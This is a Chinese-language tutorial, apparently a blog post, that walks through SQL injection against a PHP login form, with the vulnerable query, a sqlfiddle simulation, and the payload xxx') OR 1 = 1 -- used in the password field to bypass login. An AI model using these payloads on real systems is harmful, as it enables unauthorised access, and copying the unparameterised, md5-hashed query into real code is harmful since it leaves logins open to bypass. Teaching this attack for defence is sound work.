說明
一個php登錄表單方式:
<form action=‘index.php’ method="post">
<input type="email" name="email" required="required"/>
<input type="password" name="password"/>
<input type="checkbox" name="remember_me" value="Remember me"/>
<input type="submit" value="Submit"/>
</form>
登錄的sql語句可能是這樣子:
SELECT * FROM users WHERE email = $_POST['email'] AND password = md5($_POST['password'])
sqlfiddle工具
現在用一個在線工具直接模擬sql注入,打開http://sqlfiddle.com/
- 在左邊窗口寫創建數據庫和插入數據語句
CREATE TABLE `users` ( `id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`));
insert into users (email,password) values ('[m@m.com](mailto:m@m.com)',md5('abc'));
- 右邊輸入
select * from users;
點擊運行出現結果:
Paste_Image.png
- 截圖展示具體操作步驟
Paste_Image.png
- 現在右側輸入下面的語句也能查詢到結果:
SELECT * FROM users WHERE email = '[xxx@xxx.xxx](mailto:xxx@xxx.xxx)' OR 1 = 1 LIMIT 1 -- ' ] AND password = md5('1234');
分析語句:
- xxx@xxx.xxx 正常輸入
- OR 1 = 1 LIMIT 1 一條記錄永遠為真
- -- ' AND.... SQL注釋,忽略了密碼部分
Paste_Image.png
實例操作
用戶名輸入: xxx@xxx.xxx
密碼輸入: xxx') OR 1 = 1 -- ]
-
點擊登錄就可以登錄成功
Paste_Image.png -
登錄成功后的頁面
Paste_Image.png 分析
當輸入上面的語句時,就生成了這樣的語句:SELECT * FROM users WHERE email = '[xxx@xxx.xxx](mailto:xxx@xxx.xxx)' AND password = md5('xxx') OR 1 = 1 -- ]');
生成過程是這樣子:
Paste_Image.png
其他
- 增刪改查都可以用注入的方式
- 借助自動化工具